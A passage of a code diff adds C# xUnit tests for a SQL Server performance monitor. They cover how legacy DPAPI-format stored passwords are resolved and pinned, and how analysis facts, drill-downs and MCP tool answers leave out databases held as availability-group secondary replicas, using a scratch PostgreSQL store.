+        server.SecretPin = PinFor(stored, server.SecretBinding);
+        var probe = new Probe();
+
+        var ex = Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(server, out _, Ring, probe.AsLinux()));
+
+        Assert.Equal(
+            "The saved password for server 'alpha' was saved with Windows DPAPI on another machine and cannot be read here. Enter it again.",
+            ex.Message);
+        Assert.Equal(0, probe.Calls);
+    }
+
+    [Fact]
+    public void ARemediationOldFormatPasswordNeedsItsOwnPin()
+    {
+        const string stored = "AQIDBAUGBwgJCg==";
+        var server = Server();
+        server.RemediationEncryptedPassword = stored;
+        var probe = new Probe();
+
+        Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolveRemediationPassword(server, Ring, probe.AsWindows()));
+        Assert.Equal(0, probe.Calls);
+
+        server.RemediationPin = PinFor(stored, server.RemediationBinding);
+        Assert.Equal(Plain, DarlingSecrets.ResolveRemediationPassword(server, Ring, probe.AsWindows()));
+        Assert.Equal(1, probe.Calls);
+    }
+
+    [Fact]
+    public void AnSmtpOldFormatPasswordNeedsAPinOrADeclaration()
+    {
+        const string stored = "AQIDBAUGBwgJCg==";
+        var smtp = new SmtpConfig { Host = "mail.example.test", Username = "mailer", EncryptedPassword = stored };
+        var probe = new Probe();
+
+        Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolveSmtpPassword(smtp, Ring, probe.AsWindows()));
+        Assert.Equal(0, probe.Calls);
+
+        smtp.SecretPin = PinFor(stored, smtp.SecretBinding);
+        Assert.Equal(Plain, DarlingSecrets.ResolveSmtpPassword(smtp, Ring, probe.AsWindows()));
+    }
+
+    /* ═══════════ what darling.json declares ═══════════ */
+
+    [Fact]
+    public void TheFileDeclaresAnOldFormatValueAndAReferenceButNotASealedValue()
+    {
+        const string json = """
+            {
+              "servers": [
+                { "name": "alpha", "host": "alpha-host.example.test", "auth": "sql", "username": "monitor", "encryptedPassword": "AQIDBAUGBwgJCg==" },
+                { "name": "beta", "host": "beta-host.example.test", "auth": "sql", "username": "monitor", "encryptedPassword": "sealed:v1:0123456789abcdef:AAAA" },
+                { "name": "gamma", "host": "gamma-host.example.test", "auth": "sql", "username": "monitor", "encryptedPassword": "env:SOME_NOT_REAL_VARIABLE" }
+              ],
+              "smtp": { "host": "mail.example.test", "encryptedPassword": "AQIDBAUGBwgJCg==" }
+            }
+            """;
+        var config = DarlingConfig.Parse(json);
+
+        Assert.True(config.Servers.Single(s => s.Name == "alpha").EncryptedPasswordDeclaredByFile);
+        Assert.False(config.Servers.Single(s => s.Name == "beta").EncryptedPasswordDeclaredByFile);
+        Assert.True(config.Servers.Single(s => s.Name == "gamma").EncryptedPasswordDeclaredByFile);
+        Assert.True(config.Smtp.EncryptedPasswordDeclaredByFile);
+    }
+
+    [Fact]
+    public void AStoreRowIsMarkedOnlyWhenTheFileDeclaresTheSameValueForTheSameConnection()
+    {
+        const string stored = "AQIDBAUGBwgJCg==";
+        var config = DarlingConfig.Parse(
+            """{ "servers": [ { "name": "alpha", "host": "alpha-host.example.test", "auth": "sql", "username": "monitor", "encryptedPassword": "AQIDBAUGBwgJCg==" } ] }""");
+
+        var sameRow = Server(stored: stored);
+        StoreConfigProvider.MarkSlotsTheFileDeclares(sameRow, config);
+        Assert.True(sameRow.EncryptedPasswordDeclaredByFile);
+
+        var movedRow = Server(host: "beta-host.example.test", stored: stored);
+        StoreConfigProvider.MarkSlotsTheFileDeclares(movedRow, config);
+        Assert.False(movedRow.EncryptedPasswordDeclaredByFile);
+
+        var changedValueRow = Server(stored: "AAAAAAAAAAAAAA==");
+        StoreConfigProvider.MarkSlotsTheFileDeclares(changedValueRow, config);
+        Assert.False(changedValueRow.EncryptedPasswordDeclaredByFile);
+    }
+
+    /* ═══════════ the load-time count ═══════════ */
+
+    [Fact]
+    public void TheCountNamesEachOldFormatPasswordThatCannotBeOpened()
+    {
+        const string stored = "AQIDBAUGBwgJCg==";
+        var pinned = Server(stored: stored);
+        pinned.SecretPin = PinFor(stored, pinned.SecretBinding);
+
+        var unpinned = Server(stored: stored);
+        unpinned.RemediationEncryptedPassword = stored;
+
+        var declared = Server(stored: stored);
+        declared.EncryptedPasswordDeclaredByFile = true;
+
+        var sealedServer = Server();
+        sealedServer.EncryptedPassword = SealFor(sealedServer);
+
+        var smtp = new SmtpConfig { Host = "mail.example.test", EncryptedPassword = stored };
+        var servers = new[] { pinned, unpinned, declared, sealedServer };
+
+        Assert.Equal(3, StoreConfigProvider.CountPasswordsToEnterAgain(servers, smtp, new Probe().AsWindows()));
+        Assert.Equal(0, StoreConfigProvider.CountPasswordsToEnterAgain(new[] { sealedServer }, null, new Probe().AsWindows()));
+        /* Off Windows no old-format value can be opened, pinned or declared. */
+        Assert.Equal(5, StoreConfigProvider.CountPasswordsToEnterAgain(servers, smtp, new Probe().AsLinux()));
+    }
+}
diff --git a/Darling/Darling.Tests/SecondaryReplicaScopeLiveTests.cs b/Darling/Darling.Tests/SecondaryReplicaScopeLiveTests.cs
new file mode 100644
index 0000000000..6c5a060d2c
--- /dev/null
+++ b/Darling/Darling.Tests/SecondaryReplicaScopeLiveTests.cs
@@ -0,0 +1,533 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this fact mints its own scratch database through ScratchPostgres for every test and never touches
+   another test's rows, so it is deliberately NOT [Collection("live-postgres")]. */
+
+/// <summary>
+/// #5558 on a seeded PostgreSQL store, the twin of Lite's <c>SecondaryReplicaFactTests</c>: the replicated facts drop the
+/// database this node holds as a secondary copy and the node-local ones keep it. Three databases: <c>SecDb</c> (the local
+/// copy of group AG1 is SECONDARY), <c>PrimDb</c> (the local copy of group AG2 is PRIMARY) and <c>StandDb</c> (in no group).
+/// Skipped when DARLING_TEST_PG is not set.
+/// </summary>
+public sealed class SecondaryReplicaScopeLiveTests
+{
+    private const int ServerId = -558_201;
+    private const string ServerName = "darling-secondary-replica-scope";
+    private static readonly string[] Databases = ["SecDb", "PrimDb", "StandDb"];
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static DateTime Now() => DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+
+    /// <summary>Runs <paramref name="body"/> against a fresh migrated scratch store with the test server registered, then
+    /// drops the store whether the body passed or not.</summary>
+    private static async Task WithStoreAsync(Func<NpgsqlConnection, NpgsqlDataSource, CancellationToken, Task> body)
+    {
+        var baseConnectionString = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live secondary replica scope tests.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            await body(connection, postgres, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+
+    private static Task ExecAsync(NpgsqlConnection connection, CancellationToken ct, string sql, params object?[] values) =>
+        DarlingMcpTestData.ExecAsync(connection, ct, sql, values);
+
+    /// <summary>AG1: this node (NODE1) is <paramref name="localRole"/> for it and holds SecDb; AG2: this node is PRIMARY and
+    /// holds PrimDb. NODE2 is the other replica of AG1 and holds SecDb too (not local).</summary>
+    private static async Task SeedAgAsync(NpgsqlConnection c, CancellationToken ct, DateTime at, string localRole = "SECONDARY")
+    {
+        const string Replica = "INSERT INTO ag_replica_states (collection_id, collection_time, server_id, server_name, ag_name, replica_server_name, role_desc, is_local) VALUES ($1,$2,$3,$4,$5,$6,$7,$8)";
+        var when = DarlingMcpTestData.Naive(at);
+        await ExecAsync(c, ct, Replica, CollectionIdGenerator.Next(), when, ServerId, ServerName, "AG1", "NODE1", localRole, true);
+        await ExecAsync(c, ct, Replica, CollectionIdGenerator.Next(), when, ServerId, ServerName, "AG1", "NODE2", "PRIMARY", false);
+        await ExecAsync(c, ct, Replica, CollectionIdGenerator.Next(), when, ServerId, ServerName, "AG2", "NODE1", "PRIMARY", true);
+        const string Db = "INSERT INTO ag_database_replica_states (collection_id, collection_time, server_id, server_name, ag_name, database_name, replica_server_name, is_local) VALUES ($1,$2,$3,$4,$5,$6,$7,$8)";
+        await ExecAsync(c, ct, Db, CollectionIdGenerator.Next(), when, ServerId, ServerName, "AG1", "SecDb", "NODE1", true);
+        await ExecAsync(c, ct, Db, CollectionIdGenerator.Next(), when, ServerId, ServerName, "AG1", "SecDb", "NODE2", false);
+        await ExecAsync(c, ct, Db, CollectionIdGenerator.Next(), when, ServerId, ServerName, "AG2", "PrimDb", "NODE1", true);
+    }
+
+    /// <summary>One sys.databases capture for each of the three databases: auto_shrink on and RCSI off, so every one is a
+    /// DB_CONFIG offender, plus one 20 GB percent-growth data file each for FILE_AUTOGROWTH_PERCENT.</summary>
+    private static async Task SeedDatabasesAsync(NpgsqlConnection c, CancellationToken ct, DateTime end)
+    {
+        foreach (var db in Databases)
+        {
+            await ExecAsync(c, ct, @"
+INSERT INTO database_config
+    (config_id, capture_time, server_id, server_name, database_name,
+     state_desc, compatibility_level, collation_name, recovery_model, is_read_only,
+     is_auto_close_on, is_auto_shrink_on, is_auto_create_stats_on, is_auto_update_stats_on,
+     is_auto_update_stats_async_on, is_read_committed_snapshot_on, snapshot_isolation_state,
+     is_parameterization_forced, is_query_store_on, is_encrypted, is_trustworthy_on, is_db_chaining_on,
+     is_broker_enabled, is_cdc_enabled, is_mixed_page_allocation_on, log_reuse_wait_desc, page_verify_option,
+     target_recovery_time_seconds, delayed_durability, is_accelerated_database_recovery_on,
+     is_memory_optimized_enabled, is_optimized_locking_on)
+VALUES ($1, $2, $3, $4, $5,
+        'ONLINE', 160, 'SQL_Latin1_General_CP1_CI_AS', 'FULL', FALSE,
+        FALSE, TRUE, TRUE, TRUE,
+        FALSE, FALSE, 'OFF',
+        FALSE, TRUE, FALSE, FALSE, FALSE,
+        FALSE, FALSE, FALSE, 'NOTHING', 'CHECKSUM',
+        60, 'DISABLED', FALSE,
+        FALSE, FALSE)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(end.AddHours(-1)), ServerId, ServerName, db);
+
+            await ExecAsync(c, ct, @"
+INSERT INTO database_size_stats
+    (collection_id, collection_time, server_id, server_name, database_name, database_id, file_id, file_type_desc, file_name,
+     physical_name, total_size_mb, used_size_mb, is_percent_growth, growth_pct)
+VALUES ($1, $2, $3, $4, $5, 7, 1, 'ROWS', $6, 'D:\data.mdf', 20480, 10000, TRUE, 10)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(end.AddMinutes(-30)), ServerId, ServerName, db, db + "_data");
+        }
+    }
+
+    private static AnalysisContext Context(DateTime end) => new()
+    {
+        ServerId = ServerId,
+        ServerName = ServerName,
+        TimeRangeStart = DarlingMcpTestData.Naive(end.AddHours(-4)),
+        TimeRangeEnd = DarlingMcpTestData.Naive(end),
+        ServerUtcOffset = TimeSpan.Zero,
+    };
+
+    private static async Task<(List<Fact> Facts, AnalysisContext Context)> FactsAsync(NpgsqlDataSource postgres, DateTime end, CancellationToken ct)
+    {
+        var context = Context(end);
+        context.CancellationToken = ct;
+        await PgSecondaryReplicaScope.EnsureAsync(postgres, context, logger: null);
+        var facts = (await new PgFactCollector(postgres).CollectFactsAsync(context)).ToList();
+        return (facts, context);
+    }
+
+    private static Fact One(List<Fact> facts, string key) => Assert.Single(facts, f => f.Key == key);
+
+    private static async Task<string> DrillDownJsonAsync(NpgsqlDataSource postgres, AnalysisContext context, string rootFactKey, double severity = 0.3)
+    {
+        var finding = new AnalysisFinding
+        {
+            ServerId = ServerId, RootFactKey = rootFactKey, StoryPath = rootFactKey, PathKeys = [rootFactKey], Severity = severity,
+        };
+        await new PgDrillDownCollector(postgres).EnrichFindingsAsync([finding], context);
+        return JsonSerializer.Serialize(finding.DrillDown);
+    }
+
+    [Fact]
+    public async Task OnASecondary_DbConfigAndAutogrowthDropTheSecondaryDatabase_TheDrillDownsAgree_AndNodeLocalFactsKeepIt()
+    {
+        await WithStoreAsync(async (c, postgres, ct) =>
+        {
+            var end = Now();
+            await SeedDatabasesAsync(c, ct, end);
+            await SeedAgAsync(c, ct, end.AddMinutes(-1));
+
+            var (facts, context) = await FactsAsync(postgres, end, ct);
+
+            Assert.Equal(["SecDb"], context.SecondaryReplicaDatabases!.ToArray());
+
+            var config = One(facts, "DB_CONFIG");
+            Assert.Equal(2.0, config.Value);
+            Assert.Equal(2.0, config.Metadata["database_count"]);
+            Assert.Equal(2.0, config.Metadata["auto_shrink_on_count"]);
+            Assert.Equal(2.0, config.Metadata["rcsi_off_count"]);
+
+            var autogrowth = One(facts, "FILE_AUTOGROWTH_PERCENT");
+            Assert.Equal(2.0, autogrowth.Value);
+            Assert.Equal(2.0, autogrowth.Metadata["database_count"]);
+
+            /* The drill-downs list the same databases the facts counted. */
+            var configJson = await DrillDownJsonAsync(postgres, context, "DB_CONFIG");
+            Assert.Contains("PrimDb", configJson);
+            Assert.Contains("StandDb", configJson);
+            Assert.DoesNotContain("SecDb", configJson);
+
+            var growthJson = await DrillDownJsonAsync(postgres, context, "FILE_AUTOGROWTH_PERCENT");
+            Assert.Contains("PrimDb", growthJson);
+            Assert.Contains("StandDb", growthJson);
+            Assert.DoesNotContain("SecDb", growthJson);
+        });
+    }
+
+    [Fact]
+    public async Task OnThePrimary_OrWithNoOrStaleAgRows_NothingIsSkipped()
+    {
+        await WithStoreAsync(async (c, postgres, ct) =>
+        {
+            var end = Now();
+            await SeedDatabasesAsync(c, ct, end);
+
+            /* No AG rows at all. */
+            var (noRows, noRowsContext) = await FactsAsync(postgres, end, ct);
+            Assert.Empty(noRowsContext.SecondaryReplicaDatabases!);
+            Assert.Equal(3.0, One(noRows, "DB_CONFIG").Metadata["database_count"]);
+            Assert.Equal(3.0, One(noRows, "FILE_AUTOGROWTH_PERCENT").Metadata["database_count"]);
+
+            /* Rows exist, but the newest is three hours old: stale, so the role vouches for nothing. */
+            await SeedAgAsync(c, ct, end.AddHours(-3));
+            var (stale, staleContext) = await FactsAsync(postgres, end, ct);
+            Assert.Empty(staleContext.SecondaryReplicaDatabases!);
+            Assert.Equal(3.0, One(stale, "DB_CONFIG").Metadata["database_count"]);
+
+            /* A fresh snapshot where the local role for the group is PRIMARY. */
+            await SeedAgAsync(c, ct, end.AddMinutes(-1), localRole: "PRIMARY");
+            var (primary, primaryContext) = await FactsAsync(postgres, end, ct);
+            Assert.Empty(primaryContext.SecondaryReplicaDatabases!);
+            Assert.Equal(3.0, One(primary, "DB_CONFIG").Metadata["database_count"]);
+        });
+    }
+
+    [Fact]
+    public async Task AnAsOfRead_UsesTheRoleAtItsOwnEnd_NotTheCurrentOne_AndTheNoteFollows()
+    {
+        await WithStoreAsync(async (c, postgres, ct) =>
+        {
+            var now = Now();
+            /* Primary three hours ago, secondary a minute ago (a failover in between). */
+            await SeedAgAsync(c, ct, now.AddHours(-3).AddMinutes(-1), localRole: "PRIMARY");
+            await SeedAgAsync(c, ct, now.AddMinutes(-1));
+
+            var current = await PgSecondaryReplicaScope.ReadAsync(postgres, ServerId, now, logger: null, ct);
+            Assert.Equal(["SecDb"], current.ToArray());
+            Assert.Equal(AgReplicaScope.SkippedNote(1), await PgSecondaryReplicaScope.NoteAsync(postgres, ServerId, logger: null, ct));
+
+            var earlier = await PgSecondaryReplicaScope.ReadAsync(postgres, ServerId, now.AddHours(-3), logger: null, ct);
+            Assert.Empty(earlier);
+            Assert.Null(await PgSecondaryReplicaScope.NoteAsync(postgres, ServerId, logger: null, ct, asOfUtc: now.AddHours(-3)));
+
+            /* An anchor before any snapshot knows nothing, so it skips nothing. */
+            Assert.Empty(await PgSecondaryReplicaScope.ReadAsync(postgres, ServerId, now.AddDays(-30), logger: null, ct));
+        });
+    }
+
+    /// <summary>
+    /// #5558 round 2 (L1): compare_analysis and get_analysis_facts build secondary_replica_note from the set their own context
+    /// filtered with, not from a second read of the role. The baseline window ends before the only snapshot (nothing known,
+    /// nothing skipped); the comparison window ends after it (SecDb skipped). Each returned set is its own.
+    /// </summary>
+    [Fact]
+    public async Task CompareAndFactsReads_CarryTheSetTheirContextFilteredWith_SoTheNoteCannotDisagree()
+    {
+        await WithStoreAsync(async (c, postgres, ct) =>
+        {
+            var end = Now();
+            await SeedAgAsync(c, ct, end.AddMinutes(-1));
+            var service = new DarlingAnalysisService(postgres);
+
+            var (_, _, _, _, _, baselineSecondaries, comparisonSecondaries) = await service.ComparePeriodsAsync(
+                ServerId, ServerName, DarlingMcpTestData.Naive(end.AddHours(-30)), DarlingMcpTestData.Naive(end.AddHours(-26)),
+                DarlingMcpTestData.Naive(end.AddHours(-4)), DarlingMcpTestData.Naive(end), ct);
+            Assert.Empty(baselineSecondaries!);
+            Assert.Null(AgReplicaScope.SkippedNote(baselineSecondaries));
+            Assert.Equal(["SecDb"], comparisonSecondaries!.ToArray());
+            Assert.Equal(AgReplicaScope.SkippedNote(1), AgReplicaScope.SkippedNote(comparisonSecondaries));
+
+            var (_, _, caveats) = await service.CollectAndScoreFactsAsync(ServerId, ServerName, 4, DarlingMcpTestData.Naive(end), ct);
+            Assert.Equal(["SecDb"], caveats.SecondaryReplicaDatabases!.ToArray());
+        });
+    }
+
+    private static Task SeedRegressionAsync(NpgsqlConnection c, CancellationToken ct, DateTime end, string db, long planId, string hash,
+        long avgCpu, DateTime firstExec, DateTime lastExec, long queryId = 101) =>
+        ExecAsync(c, ct, @"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, execution_type_desc,
+     first_execution_time, last_execution_time, query_text, query_hash, execution_count, avg_cpu_time_us,
+     avg_duration_us, query_plan_hash, is_forced_plan, force_failure_count, runtime_stats_interval_id)
+VALUES ($1,$2,$3,$4,$5,$11,$6,'Regular',$7,$8,'SELECT 1','0xQH',100,$9,$9,$10,FALSE,0,$6)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(end), ServerId, ServerName, db, planId,
+            DarlingMcpTestData.Naive(firstExec), DarlingMcpTestData.Naive(lastExec), avgCpu, hash, queryId);
+
+    [Fact]
+    public async Task PlanRegression_DropsTheSecondaryDatabase()
+    {
+        await WithStoreAsync(async (c, postgres, ct) =>
+        {
+            var end = Now();
+            await SeedAgAsync(c, ct, end.AddMinutes(-1));
+            foreach (var db in new[] { "SecDb", "StandDb" })
+            {
+                await SeedRegressionAsync(c, ct, end, db, planId: 1, hash: "0xGOOD", avgCpu: 100_000, firstExec: end.AddDays(-6), lastExec: end.AddDays(-5));
+                await SeedRegressionAsync(c, ct, end, db, planId: 2, hash: "0xBAD", avgCpu: 1_200_000, firstExec: end.AddDays(-1), lastExec: end);
+            }
+
+            var (facts, context) = await FactsAsync(postgres, end, ct);
+
+            Assert.Equal(1.0, One(facts, "PLAN_REGRESSION").Metadata["offender_count"]);
+            Assert.NotEmpty(context.PlanRegressionOffenders!);
+            Assert.All(context.PlanRegressionOffenders!, o => Assert.Equal("StandDb", o.DatabaseName));
+        });
+    }
+
+    /// <summary>
+    /// L1 (round 1): the regressed-queries drill-down filters the secondary database in its source CTE, BEFORE its LIMIT 5, as
+    /// Lite's twin does. The pass where the fact did not run has no offender list, so every query is read; when the secondary
+    /// database holds the five worst regressions, a filter applied after the LIMIT would leave nothing for the primary's own.
+    /// </summary>
+    [Fact]
+    public async Task TheRegressedQueriesDrillDown_FiltersTheSecondaryDatabaseBeforeItsLimit()
+    {
+        await WithStoreAsync(async (c, postgres, ct) =>
+        {
+            var end = Now();
+            await SeedAgAsync(c, ct, end.AddMinutes(-1));
+            for (var q = 0; q < 5; q++)
+            {
+                var queryId = 201 + q;
+                await SeedRegressionAsync(c, ct, end, "SecDb", planId: queryId * 10 + 1, hash: "0xGOOD", avgCpu: 100_000, firstExec: end.AddDays(-6), lastExec: end.AddDays(-5), queryId: queryId);
+                await SeedRegressionAsync(c, ct, end, "SecDb", planId: queryId * 10 + 2, hash: "0xBAD", avgCpu: 5_000_000, firstExec: end.AddDays(-1), lastExec: end, queryId: queryId);
+            }
+            foreach (var queryId in new long[] { 101, 102 })
+            {
+                await SeedRegressionAsync(c, ct, end, "StandDb", planId: queryId * 10 + 1, hash: "0xGOOD", avgCpu: 100_000, firstExec: end.AddDays(-6), lastExec: end.AddDays(-5), queryId: queryId);
+                await SeedRegressionAsync(c, ct, end, "StandDb", planId: queryId * 10 + 2, hash: "0xBAD", avgCpu: 1_200_000, firstExec: end.AddDays(-1), lastExec: end, queryId: queryId);
+            }
+
+            /* No fact ran, so PlanRegressionOffenders is null; the set itself is resolved as a pass would. */
+            var context = Context(end);
+            context.CancellationToken = ct;
+            await PgSecondaryReplicaScope.EnsureAsync(postgres, context, logger: null);
+            Assert.Null(context.PlanRegressionOffenders);
+
+            var json = await DrillDownJsonAsync(postgres, context, "PLAN_REGRESSION", severity: 0.6);
+            using var doc = JsonDocument.Parse(json);
+            var rows = doc.RootElement.GetProperty("regressed_queries").EnumerateArray().ToList();
+            Assert.Equal(2, rows.Count);
+            Assert.All(rows, r => Assert.Equal("StandDb", r.GetProperty("database").GetString()));
+        });
+    }
+
+    private static Task SeedObjectAsync(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, decimal reservedMb) =>
+        ExecAsync(c, ct, @"
+INSERT INTO index_object_stats
+    (collection_id, collection_time, server_id, server_name, database_name, database_id, schema_name, object_id, table_name,
+     index_id, index_name, reserved_mb, row_lock_wait_in_ms, index_lock_promotion_count)
+VALUES ($1,$2,$3,$4,$5,7,'dbo',100,'Big',1,'PK_Big',$6,0,0)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), ServerId, ServerName, db, reservedMb);
+
+    [Fact]
+    public async Task ObjectGrowth_DropsTheSecondaryDatabase()
+    {
+        await WithStoreAsync(async (c, postgres, ct) =>
+        {
+            var end = Now();
+            await SeedAgAsync(c, ct, end.AddMinutes(-1));
+            foreach (var (db, grownMb) in new[] { ("SecDb", 900m), ("StandDb", 500m) })
+            {
+                await SeedObjectAsync(c, ct, end.AddDays(-1), db, 100m);
+                await SeedObjectAsync(c, ct, end.AddHours(-1), db, 100m + grownMb);
+            }
+
+            /* The baseline gate: anomaly detection sits out a server with no history to compare against. */
+            await ExecAsync(c, ct,
+                "INSERT INTO cpu_utilization_stats (collection_id, collection_time, server_id, server_name, sample_time, sqlserver_cpu_utilization, other_process_cpu_utilization) VALUES ($1, $2, $3, $4, $2, 10, 5)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(end.AddDays(-2)), ServerId, ServerName);
+
+            var context = Context(end);
+            context.CancellationToken = ct;
+            await PgSecondaryReplicaScope.EnsureAsync(postgres, context, logger: null);
+            var detector = new PgAnomalyDetector(postgres, new PgBaselineProvider(postgres));
+            var anomalies = await detector.DetectAnomaliesAsync(context);
+
+            var growth = Assert.Single(anomalies, f => f.Key == "ANOMALY_OBJECT_GROWTH");
+            Assert.Equal("StandDb", growth.DatabaseName);
+        });
+    }
+
+    /// <summary>
+    /// get_analysis_findings carries the shared one-sentence note beside a non-empty list and inside the empty answer when
+    /// this node holds a secondary copy. Lite's twin is in <c>McpAnalysisFindingsCommandTests</c>.
+    /// </summary>
+    [Fact]
+    public async Task GetAnalysisFindings_CarriesTheSecondaryReplicaNote_OnlyWhenThisNodeHoldsASecondaryCopy()
+    {
+        await WithStoreAsync(async (c, postgres, ct) =>
+        {
+            var now = Now();
+            var service = new DarlingAnalysisService(postgres);
+
+            /* Nothing stored, no AG rows: the plain empty answer, no note. */
+            using (var plain = JsonDocument.Parse(await DarlingMcpTools.GetAnalysisFindings(service, postgres, ServerName)))
+            {
+                Assert.Equal("empty", plain.RootElement.GetProperty("status").GetString());
+                Assert.DoesNotContain("secondary copy", plain.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+            }
+
+            /* A secondary copy, still no findings: the empty answer names the skipped database. */
+            await SeedAgAsync(c, ct, now.AddMinutes(-1));
+            using (var empty = JsonDocument.Parse(await DarlingMcpTools.GetAnalysisFindings(service, postgres, ServerName)))
+            {
+                Assert.Contains(AgReplicaScope.SkippedNote(1)!, empty.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+            }
+
+            /* With a finding stored the field rides on the payload. */
+            var t = now.AddMinutes(-10);
+            await ExecAsync(c, ct, @"
+INSERT INTO analysis_findings
+    (finding_id, analysis_time, server_id, server_name, database_name, time_range_start, time_range_end, severity, confidence,
+     category, story_path, story_path_hash, story_text, root_fact_key, root_fact_value, leaf_fact_key, leaf_fact_value, fact_count,
+     incident_id, remediation_action_json, drill_down_json)
+VALUES ($1, $2, $3, $4, 'StandDb', $5, $2, 0.72, 0.55, 'config', 'DB_CONFIG', 'AG5558_HASH', '', 'DB_CONFIG', 2, 'DB_CONFIG', 2, 1,
+        'AG5558_INCIDENT', NULL, NULL)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(t), ServerId, ServerName, DarlingMcpTestData.Naive(t.AddHours(-4)));
+
+            using (var withNote = JsonDocument.Parse(await DarlingMcpTools.GetAnalysisFindings(service, postgres, ServerName)))
+            {
+                Assert.Equal(AgReplicaScope.SkippedNote(1), withNote.RootElement.GetProperty("secondary_replica_note").GetString());
+            }
+        });
+    }
+
+    private static Task PlantWaitAsync(NpgsqlConnection c, CancellationToken ct, DateTime at, long waitMs) => ExecAsync(c, ct, @"
+INSERT INTO wait_stats
+    (collection_id, collection_time, server_id, server_name, wait_type, delta_waiting_tasks, delta_wait_time_ms)
+VALUES ($1, $2, $3, $4, 'AN5558_WAIT', 50, $5)", CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), ServerId, ServerName, waitMs);
+
+    /// <summary>The note from wherever the answer's shape puts it: the root of a data-bearing answer, or the hints of a miss.</summary>
+    private static string? NoteOf(string json)
+    {
+        using var doc = JsonDocument.Parse(json);
+        var root = doc.RootElement;
+        var carrier = root.TryGetProperty("secondary_replica_note", out _) ? root : root.GetProperty("hints");
+        var note = carrier.GetProperty("secondary_replica_note");
+        return note.ValueKind == JsonValueKind.Null ? null : note.GetString();
+    }
+
+    /// <summary>
+    /// M4 (round 1): analyze_server carries the same note get_analysis_findings does, under the same field name, always present
+    /// and null when nothing is skipped; the service keeps the sentence the pass used. Lite's twin is in
+    /// <c>SecondaryReplicaMcpAnalysisTests</c>.
+    /// </summary>
+    [Fact]
+    public async Task AnalyzeServer_CarriesTheNote_OnlyWhenThisNodeHoldsASecondaryCopy()
+    {
+        await WithStoreAsync(async (c, postgres, ct) =>
+        {
+            var service = new DarlingAnalysisService(postgres) { MinimumDataHours = 0 };
+
+            Assert.Null(NoteOf(await DarlingMcpTools.AnalyzeServer(service, postgres, ServerName, 4)));
+            Assert.Null(service.LastSecondaryReplicaNote);
+
+            await SeedAgAsync(c, ct, Now().AddMinutes(-1));
+            var answer = await DarlingMcpTools.AnalyzeServer(service, postgres, ServerName, 4);
+            Assert.Equal(AgReplicaScope.SkippedNote(1), NoteOf(answer));
+            Assert.Equal(AgReplicaScope.SkippedNote(1), service.LastSecondaryReplicaNote);
+
+            using var doc = JsonDocument.Parse(answer);
+            if (doc.RootElement.GetProperty("status").GetString() == "empty")
+                Assert.Contains(AgReplicaScope.SkippedNote(1)!, doc.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+        });
+    }
+
+    /// <summary>
+    /// Round 2: get_analysis_facts returns facts the secondary filter already trimmed, so it carries the same note, in
+    /// every envelope it can answer with, always present and null when nothing is skipped. Lite's twin is in
+    /// <c>SecondaryReplicaMcpAnalysisTests</c>.
+    /// </summary>
+    [Fact]
+    public async Task GetAnalysisFacts_CarriesTheNote_OnlyWhenThisNodeHoldsASecondaryCopy()
+    {
+        await WithStoreAsync(async (c, postgres, ct) =>
+        {
+            var service = new DarlingAnalysisService(postgres) { MinimumDataHours = 0 };
+
+            /* Nothing collected, no AG rows: an unavailable answer, the field there and null. */
+            Assert.Null(NoteOf(await DarlingMcpTools.GetAnalysisFacts(service, postgres, ServerName, 4, cancellationToken: ct)));
+
+            /* A secondary copy, still nothing collected: the sentence is in the field and in the prose. */
+            await SeedAgAsync(c, ct, Now().AddMinutes(-1));
+            var bare = await DarlingMcpTools.GetAnalysisFacts(service, postgres, ServerName, 4, cancellationToken: ct);
+            Assert.Equal(AgReplicaScope.SkippedNote(1), NoteOf(bare));
+            using (var bareDoc = JsonDocument.Parse(bare))
+                Assert.Contains(AgReplicaScope.SkippedNote(1)!, bareDoc.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            /* Facts in the window: the facts payload carries it at the root. */
+            for (var m = 5; m <= 55; m += 10) await PlantWaitAsync(c, ct, Now().AddMinutes(-m), 150_000L);
